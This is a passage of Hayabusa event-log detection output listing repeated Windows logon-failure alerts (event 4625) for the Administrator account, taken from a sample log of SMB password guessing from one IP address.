NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vh5igCJpAA5rmqzV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5NzLlJWkfXDcm64c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i9sR1QHgZ4oaa82F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pq1GWcKzSHSP28hk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: agCtM0s62zXPop0y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.430 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dVvglj7RtxrBUeXi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pMbS0sIpbFDqJvMW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ldO0cAZ54BRHHDyz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OmJH2QWFPiYarKh5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5fCiyHtI0OTo8pBO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e3vkVuU43tsYHUSj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.714 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3w21sFOu2u7FTDZM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.756 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bk7eaqQNK1CEgqoj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rv5joLgkm3QUYPyb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4l15usDM7jggwEyw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.887 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p9QpOvgDmiOgzQqb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dqyr8tb9TrO1aJNe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hI1bzjixP8eOdDbw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pMTAp20wXS3d1OCk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.078 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qrQGfxInmlgPqGtd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZcsMMQbsnUdyLJWi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8oRYZqBBsq9GyApI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0TAhib6p8fY5iOgI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.306 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FerGHj9abOe6ehZn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.362 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kN4B4KLpXbyKZzGv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HJtoyRfP38T3KToO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rkI5hLApUWhGnKIs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZCPSO4JLjMur2Eow : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VHmrv2xFuq7TyIQN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8SqYq3msNfFh24lg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YE0a2Bypzc1MMdGn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ojgIg88VK6hB72PI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ehLrf2GoAhY3Rf7Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ccfgpjwpis15B4gY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vysSf3DsOxQf5fVd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IEp88cEeiNw4IQsm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5PXDJPzw0gPdlCiH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mwoe9IgWx2UZ7Iuu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3eW0nFDUwKFzoQIw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q0i0p5QxJ4ykYYJt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.033 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VsxqWAnd6j2CdyB3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.090 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y5qdy80mtFWl199k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.121 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ce0d84uBK4t2sqR3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b4dZYZEW1VijjwHN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZmqGJWbeap5dv0gC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.266 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zaNUqChgVSbDkFQu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.319 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B4PDZ55it0V4QGnM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TQxXVB8Aj5gaw2f2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vzDeZtgSJoH74GYk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iNAFsZraFvw67WWR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.533 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aVdnbyzWqk58rOW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WjUH2PopXCrrPzqi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ylmV2z3WjTWsTpyu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.654 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8qBKZTYRTKuEAgS8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JvekO4A5f6QK2ynZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.753 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LDUqydSeA1guOjIP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o71TltsJDyOIuLQb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NXT3MSCes42dVCNn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FGXiWeT8Evr6G70M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V2RarzrnGgcLaseH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u3k7dXu9o1vMkhby : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EDBt76dmYnPstFWw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4yjzMC7cw0fe7gjS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eQOWCM7KP68DZTX9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.119 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kn9WWWqCIwfrPbie : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AQcamLSzsXOjP6FL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.278 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6R6ZMRoYkAPB35Bq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ubqnZm0jmHNFCHrM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.419 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7ORQ8vL1oo6CkJXK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rDPl1SSddrWEs979 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VrK7fENAr1lxFr9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.633 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wu4djhEVSMYBOmjF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7e0NOdXhEkW6MskA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.715 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7nqxLHaOtkHHNAa1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.756 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NCrCf73NtEpk5DUR : IP Address: 192.168.198.149 : AuthPackage: 